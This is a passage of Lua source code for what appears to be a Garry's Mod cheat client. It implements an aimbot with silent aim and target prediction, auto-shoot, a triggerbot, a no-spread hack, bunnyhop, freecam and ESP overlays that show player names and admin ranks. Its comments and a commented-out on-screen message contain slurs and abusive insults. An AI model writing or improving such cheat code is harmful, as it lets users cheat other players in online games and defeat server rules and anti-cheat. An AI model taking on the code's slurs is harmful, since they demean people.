  2194. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2195. end
  2196. if !self:Enabled() && !self.SetAngleTo then return end
  2197. if GetViewEntity() != LocalPlayer() then return end
  2198. if self:Setting("debug") then return end
  2199. local base = GAMEMODE:CalcView(ply, origin, self.SetAngleTo or self.View, FOV) or {}
  2200. base.angles = base.angles or (self.AngleTo or self.View)
  2201. base.angles.r = 0
  2202. return base
  2203. end
  2204. AA:AddHook("CalcView", "FakeView")
  2205. function AA:TargetPrediction(ply, target, targetPos)
  2206. local weap = PlyM["GetActiveWeapon"](ply)
  2207. if ValidEntity(weap) then
  2208. local class = EntM["GetClass"](weap)
  2209. if class == "weapon_crossbow" then
  2210. local dist = VecM["Length"](targetPos - PlyM["GetShootPos"](ply))
  2211. local time = (dist / 3500) + 0.05
  2212. targetPos = targetPos + (EntM["GetVelocity"](target) * time)
  2213. end
  2214. local mul = 0.0075
  2215. end
  2216. return targetPos
  2217. end
  2218. AA:AddHook("TargetPrediction", "TargetPrediction")
  2219. function AA:SetAngle(ang)
  2220. if LocalPlayer():GetActiveWeapon() != NULL then
  2221. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2222. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2223. end
  2224. self.SetAngleTo = ang
  2225. end
  2226. AA:CreateSetting("smoothspeed", "Smooth aim speed (0 to disable)", 120, {Min = 0, Max = 360})
  2227. AA:CreateSetting("snaponfire", "Snap on fire", true)
  2228. AA:CreateSetting("snapgrace", "Snap on fire grace", 0.5, {Min = 0, Max = 3, Places = 1})
  2229. AA.LastAttack = 0
  2230. function AA:SetAimAngles(cmd)
  2231. if LocalPlayer():GetActiveWeapon() != NULL then
  2232. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2233. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2234. end
  2235. self:RotateView(cmd)
  2236. if !self:Enabled() && !self.SetAngleTo then return end
  2237. local ply = LocalPlayer()
  2238. if !ValidEntity(ply) then return end
  2239. local targetAim = self:GetView()
  2240. local target = self:GetTarget()
  2241. if target then
  2242. local targetPos = self:TargetPosition(target)
  2243. targetAim = VecM["Angle"](targetPos - ply:GetShootPos())
  2244. end
  2245. if self:Setting("snaponfire") then
  2246. local time = CurTime()
  2247. if PlyM["KeyDown"](ply, IN_ATTACK) || PlyM["KeyDown"](ply, IN_ATTACK2) || self:Setting("autoshoot") != 0 then
  2248. self.LastAttack = time
  2249. end
  2250. if CurTime() - self.LastAttack > self:Setting("snapgrace") then
  2251. targetAim = self:GetView()
  2252. end
  2253. end
  2254. if self.SetAngleTo then
  2255. targetAim = self.SetAngleTo
  2256. end
  2257. local smooth = self:Setting("smoothspeed")
  2258. if smooth > 0 then
  2259. local current = CmdM["GetViewAngles"](cmd)
  2260. current = self:ApproachAngle(current, targetAim, smooth * FrameTime())
  2261. current.r = 0
  2262. if self.RevertingAim then
  2263. local diff = self:NormalizeAngle(current - self:GetView())
  2264. if math.abs(diff.p) < 1 && math.abs(diff.y) < 1 then self.RevertingAim = false end
  2265. elseif targetAim == self:GetView() then
  2266. current = targetAim
  2267. end
  2268. if self.SetAngleTo then
  2269. local diff = self:NormalizeAngle(current - self.SetAngleTo)
  2270. if math.abs(diff.p) < 1 && math.abs(diff.y) < 1 then self.SetAngleTo = nil end
  2271. end
  2272. aim = current
  2273. else
  2274. aim = targetAim
  2275. self.SetAngleTo = nil
  2276. end
  2277. CmdM["SetViewAngles"](cmd, aim)
  2278. local sensitivity = 0.22
  2279. local diff = aim - CmdM["GetViewAngles"](cmd)
  2280. CmdM["SetMouseX"](cmd, diff.y / sensitivity)
  2281. CmdM["SetMouseY"](cmd, diff.p / sensitivity)
  2282. local move = Vector(CmdM["GetForwardMove"](cmd), CmdM["GetSideMove"](cmd), 0)
  2283. local norm = VecM["GetNormal"](move)
  2284. local set = AngM["Forward"](VecM["Angle"](norm) + (aim - self:GetView())) * VecM["Length"](move)
  2285. CmdM["SetForwardMove"](cmd, set.x)
  2286. CmdM["SetSideMove"](cmd, set.y)
  2287. end
  2288. AA:AddHook("CreateMove", "SetAimAngles")
  2289. function AA:RevertAim()
  2290. if LocalPlayer():GetActiveWeapon() != NULL then
  2291. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2292. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2293. end
  2294. self.RevertingAim = true
  2295. end
  2296. AA:AddHook("TargetLost", "RevertAim")
  2297. function AA:StopRevertAim()
  2298. if LocalPlayer():GetActiveWeapon() != NULL then
  2299. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2300. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2301. end
  2302. self.RevertingAim = false
  2303. end
  2304. AA:AddHook("TargetGained", "RevertAim")
  2305. function AA:ViewToAim()
  2306. if LocalPlayer():GetActiveWeapon() != NULL then
  2307. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2308. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2309. end
  2310. if self:Enabled() then return end
  2311. self:SetAngle(self:GetView())
  2312. end
  2313. AA:AddHook("OnToggled", "ViewToAim")
  2314. AA:CreateSetting("crosshair", "Crosshair size (0 to disable)", 18, {Min = 0, Max = 20})
  2315. function AA:DrawTarget()
  2316. if LocalPlayer():GetActiveWeapon() != NULL then
  2317. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2318. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2319. end
  2320. if !self:Enabled() then return end
  2321. local target = self:GetTarget()
  2322. if !target then return end
  2323. local size = self:Setting("crosshair")
  2324. if size <= 0 then return end
  2325. local blocked, aimOff = self:TargetBlocked()
  2326. if blocked then
  2327. surface.SetDrawColor(255, 0, 0, 255)
  2328. elseif aimOff then
  2329. surface.SetDrawColor(255, 255, 0, 255)
  2330. else
  2331. surface.SetDrawColor(0, 255, 0, 255)
  2332. end
  2333. local pos = self:TargetPosition(target)
  2334. local screen = VecM["ToScreen"](pos)
  2335. local x, y = screen.x, screen.y
  2336. local a, b = size / 2, size / 6
  2337. surface.DrawLine(x - a, y - a, x - b, y - a)
  2338. surface.DrawLine(x - a, y - a, x - a, y - b)
  2339. surface.DrawLine(x + a, y + a, x + b, y + a)
  2340. surface.DrawLine(x + a, y + a, x + a, y + b)
  2341. surface.DrawLine(x + a, y - a, x + b, y - a)
  2342. surface.DrawLine(x + a, y - a, x + a, y - b)
  2343. surface.DrawLine(x - a, y + a, x - b, y + a)
  2344. surface.DrawLine(x - a, y + a, x - a, y + b)
  2345. end
  2346. AA:AddHook("HUDPaint", "DrawTarget")
  2347. AA.ScreenMaxAngle = {
  2348. Length = 0,
  2349. FOV = 0,
  2350. MaxAngle = 0
  2351. }
  2352. AA:CreateSetting("draw_maxangle", "Draw Max Angle", true)
  2353. function AA:DrawMaxAngle()
  2354. if LocalPlayer():GetActiveWeapon() != NULL then
  2355. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2356. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2357. end
  2358. if !self:Enabled() then return end
  2359. local show = AA:Setting("draw_maxangle")
  2360. if !show then return end
  2361. local ply = LocalPlayer()
  2362. if !ValidEntity(ply) then return end
  2363. local info = self.ScreenMaxAngle
  2364. local maxang = AA:Setting("maxangle")
  2365. local fov = PlyM["GetFOV"](ply)
  2366. if GetViewEntity() == ply && (maxang != info.MaxAngle || fov != info.FOV) then
  2367. local view = self:GetView()
  2368. view.p = view.p + maxang
  2369. local screen = (PlyM["GetShootPos"](ply) + (AngM["Forward"](view) * 100))
  2370. screen = VecM["ToScreen"](screen)
  2371. info.Length = math.abs((ScrH() / 2) - screen.y)
  2372. info.MaxAngle = maxang
  2373. info.FOV = fov
  2374. end
  2375. local length = info.Length
  2376. local cx, cy = ScrW() / 2, ScrH() / 2
  2377. for x = -1, 1 do
  2378. for y = -1, 1 do
  2379. if x != 0 || y != 0 then
  2380. local add = VecM["GetNormal"](Vector(x, y, 0)) * length
  2381. surface.SetDrawColor(0, 0, 0, 255)
  2382. surface.DrawRect((cx + add.x) - 2, (cy + add.y) - 2, 5, 5)
  2383. surface.SetDrawColor(255, 255, 255, 255)
  2384. surface.DrawRect((cx + add.x) - 1, (cy + add.y) - 1, 3, 3)
  2385. end
  2386. end
  2387. end
  2388. end
  2389. AA:AddHook("HUDPaint", "DrawMaxAngle")
  2390. AA.AttackDown = false
  2391. function AA:SetShooting(bool)
  2392. if LocalPlayer():GetActiveWeapon() != NULL then
  2393. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2394. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2395. end
  2396. if self.AttackDown == bool then return end
  2397. self.AttackDown = bool
  2398. local pre = {[true] = "+", [false] = "-"}
  2399. RunConsoleCommand(pre[bool] .. "attack")
  2400. end
  2401. AA.NextShot = 0
  2402. AA:CreateSetting("autoshoot", "Max auto-shoot distance (0 to disable)", 0, {Min = 0, Max = 16384})
  2403. function AA:Shoot()
  2404. if LocalPlayer():GetActiveWeapon() != NULL then
  2405. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2406. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2407. end
  2408. if !self:Enabled() then
  2409. self:SetShooting(false)
  2410. return
  2411. end
  2412. local maxDist = self:Setting("autoshoot")
  2413. if maxDist == 0 then return end
  2414. local target = self:GetTarget()
  2415. if !target then return end
  2416. local blocked, wrongAim = self:TargetBlocked(target)
  2417. if blocked || wrongAim then return end
  2418. local ply = LocalPlayer()
  2419. if !ValidEntity(ply) then return end
  2420. local targetPos = self:TargetPosition(target)
  2421. local distance = VecM["Length"](targetPos - ply:GetShootPos())
  2422. if distance > maxDist && maxDist != -1 then return end
  2423. if CurTime() < self.NextShot then return end
  2424. local weap = PlyM["GetActiveWeapon"](ply)
  2425. if !ValidEntity(weap) then return end
  2426. self:SetShooting(true)
  2427. if self:IsSemiAuto(weap) then
  2428. timer.Simple(0.05, function() self:SetShooting(false) end)
  2429. end
  2430. self.NextShot = CurTime() + 0.1
  2431. end
  2432. AA:AddHook("Think", "Shoot")
  2433. function AA:StopShooting()
  2434. if LocalPlayer():GetActiveWeapon() != NULL then
  2435. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2436. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2437. end
  2438. self:SetShooting(false)
  2439. end
  2440. AA:AddHook("TargetLost", "StopShooting")
  2441. AA.IsEnabled = false
  2442. function AA:Enabled() return self.IsEnabled end
  2443. function AA:SetEnabled(bool)
  2444. if self.IsEnabled == bool then return end
  2445. self.IsEnabled = bool
  2446. local e = {[true] = "1", [false] = "0"}
  2447. RunConsoleCommand("aa_enabled", e[self.IsEnabled])
  2448. self:CallHook("OnToggled")
  2449. end
  2450. function AA:Toggle()
  2451. self:SetEnabled(!self:Enabled())
  2452. end
  2453. concommand.Add("aa_toggle", function() AA:Toggle() end)
  2454. AA:CreateSetting("enabled", "Enabled", false, {Save = false})
  2455. function AA:ConVarEnabled(_, old, val)
  2456. if old == val then return end
  2457. val = tonumber(val) or 0
  2458. self:SetEnabled(val > 0)
  2459. end
  2460. AA:AddCVarHook("aa_enabled", "ConVarEnabled")
  2461. concommand.Add("+aa", function() AA:SetEnabled(true) end)
  2462. concommand.Add("-aa", function() AA:SetEnabled(false) end)
  2463. function AA:OpenMenu()
  2464. local w, h = ScrW() / 3, ScrH() / 2
  2465. local menu = vgui.Create("DFrame")
  2466. menu:SetTitle("AutoAim")
  2467. menu:SetSize(w, h)
  2468. menu:Center()
  2469. menu.Paint = function()
  2470. draw.RoundedBox( 8, 0, 0, menu:GetWide(), menu:GetTall(), Color( 0, 0, 0, 210 ) )
  2471. end
  2472. menu:MakePopup()
  2473. local scroll = vgui.Create("DPanelList", menu)
  2474. scroll:SetPos(5, 25)
  2475. scroll:SetSize(w - 10, h - 30)
  2476. scroll:EnableVerticalScrollbar()
  2477. local form = vgui.Create("DForm", menu)
  2478. form:SetName("")
  2479. form.Paint = function()
  2480. draw.RoundedBox( 8, 0, 0, form:GetWide(), form:GetTall(), Color( 180, 180, 180, 30 ) )
  2481. end
  2482. scroll:AddItem(form)
  2483. self:BuildMenu(form)
  2484. if AA.Menu then AA.Menu:Remove() end
  2485. AA.Menu = menu
  2486. end
  2487. concommand.Add("aa_menu", function() AA:OpenMenu() end)
  2488. function AA:RegisterMenu()
  2489. spawnmenu.AddToolMenuOption("Options", "Hacks", "AutoAim", "AutoAim", "", "", function(p) self:BuildMenu(p) end)
  2490. end
  2491. AA:AddHook("PopulateToolMenu", "RegisterMenu")
  2492. function AA:AngleBetween(a, b)
  2493. if LocalPlayer():GetActiveWeapon() != NULL then
  2494. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2495. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2496. end
  2497. return math.deg(math.acos(VecM["Dot"](a, b)))
  2498. end
  2499. function AA:NormalizeAngle(ang)
  2500. if LocalPlayer():GetActiveWeapon() != NULL then
  2501. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2502. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2503. end
  2504. return Angle(math.NormalizeAngle(ang.p), math.NormalizeAngle(ang.y), math.NormalizeAngle(ang.r))
  2505. end
  2506. function AA:ApproachAngle(start, target, add)
  2507. if LocalPlayer():GetActiveWeapon() != NULL then
  2508. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2509. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2510. end
  2511. local diff = self:NormalizeAngle(target - start)
  2512. local vec = Vector(diff.p, diff.y, diff.r)
  2513. local len = VecM["Length"](vec)
  2514. vec = VecM["GetNormal"](vec) * math.min(add, len)
  2515. return start + Angle(vec.x, vec.y, vec.z)
  2516. end
  2517. local notAuto = {"weapon_pistol", "weapon_rpg", "weapon_357", "weapon_crossbow"}
  2518. function AA:IsSemiAuto(weap)
  2519. if LocalPlayer():GetActiveWeapon() != NULL then
  2520. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2521. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2522. end
  2523. if !ValidEntity(weap) then return end
  2524. return (weap.Primary && !weap.Primary.Automatic) || table.HasValue(notAuto, EntM["GetClass"](weap))
  2525. end
  2526. local isfiring = false
  2527. local lastoldang = 0
  2528. function ZNX.AimbotCore( cmd )
  2529. if ZNX.Vars.Aimbot and AA.IsEnabled == true then
  2530. ZNX.ChatText( "Ancien Aimbot d�sactiv� pour eviter les bugs \nVous devez d�sactiv� le Aimbot Normal \nPour pouvoir activer l'Ancien Aimbot !", Color(255,0,0) )
  2531. AA:SetEnabled(false)
  2532. end
  2533. local ply = LocalPlayer()
  2534. if !ZNX.Vars.SilentAim then ZNX.InternalFakeAngles = 0 end
  2535. if lastoldang and isangle( lastoldang ) then
  2536. cmd:SetViewAngles( lastoldang )
  2537. lastoldang = 0
  2538. end
  2539. if !ZNX.Vars.Aimbot then
  2540. lastoldang = 0
  2541. ZNX.AimbotPreviewTarget = -1
  2542. ZNX.AimbotTarget = game.GetWorld()
  2543. return
  2544. end
  2545. if !ZNX.Vars.AimbotStickyLock then
  2546. local closestfag = ZNX.GetClosestToCursor( true )
  2547. if closestfag != ZNX.AimbotTarget then ZNX.AimbotTarget = closestfag end
  2548. end
  2549. local atarg = ZNX.AimbotTarget
  2550. local pozzed = ZNX.PrepareForAStomping( atarg )
  2551. if isvector( pozzed ) then ZNX.AimbotPreviewTarget = pozzed end
  2552. -- negate target if they are invalid for whatever reason
  2553. if !atarg:IsValid() or ZNX.IsDead( atarg ) or !ZNX.InFOV( atarg ) or !ZNX.CanTargetPlayer( atarg ) or (ZNX.ToMetric(ply:GetPos():Distance(atarg:GetPos())) >= ZNX.NumberVars.AimbotDist) or !isvector( pozzed ) then
  2554. ZNX.AimbotPreviewTarget = -1
  2555. ZNX.AimbotTarget = ZNX.GetClosestToCursor( true )
  2556. ZNX.InternalFakeAngles = 0
  2557. return
  2558. end
  2559. -- snap only on fire option
  2560. if ZNX.Vars.SnapOnFire and !input.IsMouseDown(MOUSE_LEFT) or !ply:GetActiveWeapon() or !ply:GetActiveWeapon():IsValid() or !ZNX.CanBotShoot( ply:GetActiveWeapon() ) then
  2561. -- ZNX.AimbotTarget = game.GetWorld()
  2562. targetlerp = LocalPlayer():EyeAngles()
  2563. return
  2564. end
  2565. -- keybind mode
  2566. if ZNX.Vars.AimbotBindMode then
  2567. local khn = ZNX.NumberVars.AimbotBindKey
  2568. if not ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then
  2569. -- ZNX.AimbotTarget = game.GetWorld()
  2570. targetlerp = LocalPlayer():EyeAngles()
  2571. return
  2572. end
  2573. end
  2574. -- cap a motherfucker
  2575. ZNX.AimbotPreviewTarget = pozzed
  2576. local aids = pozzed - ply:GetShootPos()
  2577. aids = aids:Angle()
  2578. aids:Normalize()
  2579. if ZNX.NumberVars.AimbotSmooth > 0 then
  2580. targetlerp = LerpAngle(FrameTime() * ((51 - ZNX.NumberVars.AimbotSmooth) / 5), targetlerp, aids)
  2581. aids = targetlerp
  2582. end
  2583. aids = Angle( aids.p, aids.y, 0 )
  2584. if ZNX.Vars.SilentAim then
  2585. lastoldang = cmd:GetViewAngles() + Angle( cmd:GetMouseY() * 0.02, -cmd:GetMouseX() * 0.015, 0 )
  2586. ZNX.InternalFakeAngles = lastoldang
  2587. end
  2588. cmd:SetViewAngles(aids)
  2589. if ZNX.Vars.SilentAim then ZNX.FixMove( cmd, true ) end
  2590. if ZNX.Vars.AutoShoot and !ZNX.Vars.Autoclick and !ZNX.Vars.Triggerbot then
  2591. if( !isfiring ) then
  2592. cmd:SetButtons( bit.bor( cmd:GetButtons(), IN_ATTACK ) )
  2593. isfiring = true
  2594. else
  2595. cmd:SetButtons( bit.band( cmd:GetButtons(), bit.bnot( IN_ATTACK ) ) )
  2596. isfiring = false
  2597. end
  2598. end
  2599. end
  2600. local function ch_bunnyhop(ply)
  2601. if( ZNX.Vars.Bhop) then
  2602. if(ply:KeyDown(IN_JUMP) && !LocalPlayer():IsOnGround()) then
  2603. ply:RemoveKey(IN_JUMP);
  2604. if !LocalPlayer():IsFlagSet( FL_ONGROUND ) and LocalPlayer():GetMoveType() != MOVETYPE_NOCLIP then
  2605. if(ply:GetMouseX() > 1 || ply:GetMouseX() < -1) then
  2606. ply:SetSideMove(ply:GetMouseX() > 1 && 400 || -400);
  2607. else
  2608. ply:SetForwardMove(5850 / LocalPlayer():GetVelocity():Length2D());
  2609. ply:SetSideMove((ply:CommandNumber() % 2 == 0) && -400 || 400);
  2610. end
  2611. end
  2612. elseif(ply:KeyDown(IN_JUMP) && ZNX.Vars.BhopAutostrafe) then
  2613. ply:SetForwardMove(10000)
  2614. end
  2615. end
  2616. end
  2617. hook.Add("CreateMove", "", function(ply)
  2618. ch_bunnyhop(ply);
  2619. end);
  2620. function Nospread()
  2621. if ZNX.Vars.CompSpread then
  2622. hook.Add("Think", "nospread", function ()
  2623. if LocalPlayer():GetActiveWeapon().Primary then
  2624. LocalPlayer():GetActiveWeapon().Primary.Cone = 0
  2625. LocalPlayer():GetActiveWeapon().Primary.Spread = 0
  2626. end
  2627. end)
  2628. end
  2629. end
  2630. hook.Add("Think", "Nospreading", Nospread)
  2631. local vw = Angle( 0, 0, 0 )
  2632. local targetlerp = Angle( 0, 0, 0)
  2633. local nxtangle = false
  2634. function ZNX.CreateMove( cmd )
  2635. local ply = LocalPlayer()
  2636. if !ply:IsValid() then return end
  2637. local amemfootprint = gcinfo()
  2638. if ZNX.Vars.Triggerbot and ply:Alive() and ply:GetActiveWeapon() and ply:GetActiveWeapon():IsValid() and ZNX.CanBotShoot( ply:GetActiveWeapon() ) then
  2639. local td = {start = ply:GetShootPos(), endpos = ply:GetShootPos() + ply:EyeAngles():Forward() * 65535, filter = ply, mask = MASK_SHOT}
  2640. local tr = util.TraceLine(td)
  2641. if (tr.Entity:IsPlayer() and ZNX.CanTargetPlayer( tr.Entity ) ) or tr.Entity:IsNPC() or tr.Entity.Type == "nextbot" then
  2642. if( !isfiring ) then
  2643. cmd:SetButtons( bit.bor( cmd:GetButtons(), IN_ATTACK ) )
  2644. isfiring = true
  2645. else
  2646. cmd:SetButtons( bit.band( cmd:GetButtons(), bit.bnot( IN_ATTACK ) ) )
  2647. isfiring = false
  2648. end
  2649. end
  2650. end
  2651. if ZNX.ScrollDelta != 0 then cmd:SetMouseWheel( ZNX.ScrollDelta ) end
  2652. if( ZNX.Vars.RopeStorm and ply:KeyDown(IN_ATTACK2)) then
  2653. local aids = Angle(math.random(-90, 90), math.random(-180, 180), 0)
  2654. aids:Normalize()
  2655. cmd:SetViewAngles(aids)
  2656. if ply:KeyDown(IN_ATTACK2) then cmd:RemoveKey(IN_ATTACK2) end
  2657. end
  2658. if ZNX.Vars.FreecamControls then
  2659. local khn = ZNX.NumberVars.FreecamForward
  2660. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.pos = ZNX.FreecamCoordinates.pos + ZNX.FreecamCoordinates.ang:Forward() * 7 end
  2661. local khn = ZNX.NumberVars.FreecamBack
  2662. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.pos = ZNX.FreecamCoordinates.pos - ZNX.FreecamCoordinates.ang:Forward() * 7 end
  2663. local khn = ZNX.NumberVars.FreecamLeft
  2664. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.ang.y = ZNX.FreecamCoordinates.ang.y + 1 end
  2665. local khn = ZNX.NumberVars.FreecamRight
  2666. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.ang.y = ZNX.FreecamCoordinates.ang.y - 1 end
  2667. local khn = ZNX.NumberVars.FreecamUp
  2668. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.ang.p = ZNX.FreecamCoordinates.ang.p - 0.75 end
  2669. local khn = ZNX.NumberVars.FreecamDown
  2670. if ( input.IsKeyDown( khn ) or input.IsMouseDown( khn ) ) then ZNX.FreecamCoordinates.ang.p = ZNX.FreecamCoordinates.ang.p + 0.75 end
  2671. end
  2672. ZNX.AimbotCore( cmd )
  2673. ZNX.MemoryDebug["aimbot"] = gcinfo() - amemfootprint
  2674. end
  2675. hook.Add( "CreateMove", "cmove", ZNX.CreateMove )
  2676. local xraytrans = Color(255, 255, 255, 101)
  2677. surface.CreateFont( "memes", {
  2678. font = "Trebuchet",
  2679. size = 200,
  2680. weight = 950,
  2681. } )
  2682. local scanmat = Material("particle/particle_ring_blur")
  2683. local leadermat = Material( "particle/particle_ring_wave_additive" )
  2684. local beammat = Material("trails/laser")
  2685. function ZNX.Vision()
  2686. local me = LocalPlayer()
  2687. if !me:IsValid() then return end
  2688. local memfootprint = gcinfo()
  2689. --[[
  2690. for i = 0, ScrH(), 200 do
  2691. for w = 0, ScrW(), 200 do
  2692. draw.SimpleTextOutlined( ":^)", "memes", w, i, Color(255,255,255,255), 0, 0, 1, Color(0,0,55,255) )
  2693. end
  2694. end
  2695. draw.SimpleTextOutlined( "IM A HUGE FUCKING FAGGOT", "memes", 200, ScrH() / 2 - 230, Color(255,0,0,255), 0, 0, 1, Color(0,0,55,255) )
  2696. draw.SimpleTextOutlined( "WHO USES LEAKED HACKS", "memes", 260, ScrH() / 2 - 50, Color(255,0,0,255), 0, 0, 1, Color(0,0,55,255) )
  2697. draw.SimpleTextOutlined( "COS IM POOR AND RETARDED", "memes", 180, ScrH() / 2 + 150, Color(255,0,0,255), 0, 0, 1, Color(0,0,55,255) )
  2698. --]]
  2699. if !ZNX.Vars.Vision then return end
  2700. if ZNX.Vars.CSFlashlight then
  2701. local dlight = DynamicLight( me:EntIndex() + 5 )
  2702. if ( dlight ) then
  2703. dlight.pos = me:GetEyeTraceNoCursor().HitPos
  2704. dlight.r = 255
  2705. dlight.g = 255
  2706. dlight.b = 255
  2707. dlight.brightness = 2
  2708. dlight.Decay = 1000
  2709. dlight.Size = 2256
  2710. dlight.DieTime = CurTime() + 0.5
  2711. end
  2712. end
  2713. if ZNX.Vars.ShowFPS then
  2714. DrawOutlinedText ( os.date( "%H:%M:%S"), "Fontnpcesp", ScrW()-40, 10, Color(255, 255, 255,255), 1, Color(0,0,0,255) )
  2715. DrawOutlinedText ( "FPS: ", "Fontnpcesp", ScrW()-48, 23, Color(255, 255, 255,255), 1, Color(0,0,0,255) )
  2716. DrawOutlinedText ( math.Round( 1/FrameTime()), "Fontnpcesp", ScrW()-28, 23, Color(255, 255, 255,255), 1, Color(0,0,0,255) )
  2717. DrawOutlinedText ( "PING: ", "Fontnpcesp", ScrW()-46, 36, Color(255, 255, 255,255), 1, Color(0,0,0,255) )
  2718. DrawOutlinedText ( LocalPlayer():Ping(), "Fontnpcesp", ScrW()-27, 36, Color(255, 255, 255,255), 1, Color(0,0,0,255) )
  2719. end
  2720. if ZNX.Vars.ShowESP then
  2721. if ZNX.Vars.NPC_ESP then
  2722. for k, v in pairs(ents.GetAll()) do
  2723. if( v ~= LocalPlayer() ) then
  2724. if( v:IsNPC() ) then
  2725. local drawColor = Color(238, 206, 48, 255);
  2726. local drawPosit = v:GetPos():ToScreen();
  2727. local textData = {}
  2728. textData.pos = {}
  2729. textData.pos[1] = drawPosit.x;
  2730. textData.pos[2] = drawPosit.y;
  2731. textData.color = drawColor;
  2732. textData.text = v:GetClass();
  2733. textData.font = "Fontnpcesp";
  2734. textData.xalign = TEXT_ALIGN_CENTER;
  2735. textData.yalign = TEXT_ALIGN_CENTER;
  2736. draw.Text( textData );
  2737. end
  2738. end
  2739. end
  2740. end
  2741. -- players
  2742. for k, v in pairs( player.GetAll() ) do
  2743. if ZNX.ToMetric( me:GetPos():Distance( v:GetPos() ) ) > ZNX.NumberVars.VisionDist then continue end
  2744. if !ZNX.OnScreen( v, 50 ) then continue end
  2745. local teamcol, teamcol2
  2746. if ZNX.Vars.TeamColors then
  2747. teamcol = team.GetColor(v:Team())
  2748. teamcol2 = Color(math.Clamp(teamcol.r - 100, 0, 255), math.Clamp(teamcol.g - 100, 0, 255), math.Clamp(teamcol.b - 100, 0, 255), 255)
  2749. else
  2750. teamcol = ZNX.DefaultScheme
  2751. teamcol2 = ZNX.DefaultScheme2
  2752. end
  2753. if v == me then continue end
  2754. local pos = (v:GetPos()+Vector(0,0,70)):ToScreen()
  2755. local admintext = ZNX.GetRank( v )
  2756. if !ZNX.IsDead( v ) then
  2757. if ZNX.Vars.VSquares then
  2758. local posrep = (v:GetPos()+Vector(0,0,40)):ToScreen()
  2759. surface.SetDrawColor(teamcol)
  2760. surface.DrawOutlinedRect(posrep.x - 10, posrep.y - 10, 20, 20)
  2761. surface.SetDrawColor(teamcol2)
  2762. surface.DrawOutlinedRect(posrep.x - 8, posrep.y - 8, 16, 16)
  2763. surface.SetDrawColor(Color(255,255,255,255))
  2764. surface.DrawRect(posrep.x - 2, posrep.y - 2, 4, 4)
  2765. end
  2766. if ZNX.Vars.VNames then draw.SimpleTextOutlined( v:Name(), "DermaDefault", pos.x, pos.y - 62, teamcol, 1, 0, 1, Color(0,0,55,255) ) end
  2767. if ZNX.Vars.BoundingBox3d then cam.Start3D(EyePos(),EyeAngles()) render.DrawWireframeBox( v:GetPos(), Angle(0,0,0), Vector( -16, -16, 0 ), Vector( 16, 16, 72 ), ZNX.ColScheme, true ) cam.End3D() end
  2768. -- propkill shit
  2769. render.SetMaterial( beammat )
  2770. if ZNX.Vars.PKPlayerBeams then
  2771. local vz, ppos = ZNX.PlayerVisiblePK( me:GetShootPos(), v )
  2772. if vz then
  2773. cam.Start3D(EyePos(),EyeAngles())
  2774. render.DrawBeam( (me:GetShootPos() + Vector(0,0,-5)) + EyeAngles():Forward() * 5, ppos, 5, 0, 1, teamcol )
  2775. cam.End3D()
  2776. end
  2777. end
  2778. if ZNX.Vars.PKPropBeams then
  2779. if ZNX.HoldingProp and ZNX.HoldingProp:IsValid() then
  2780. local src = ZNX.HoldingProp:LocalToWorld( ZNX.HoldingProp:OBBCenter() )
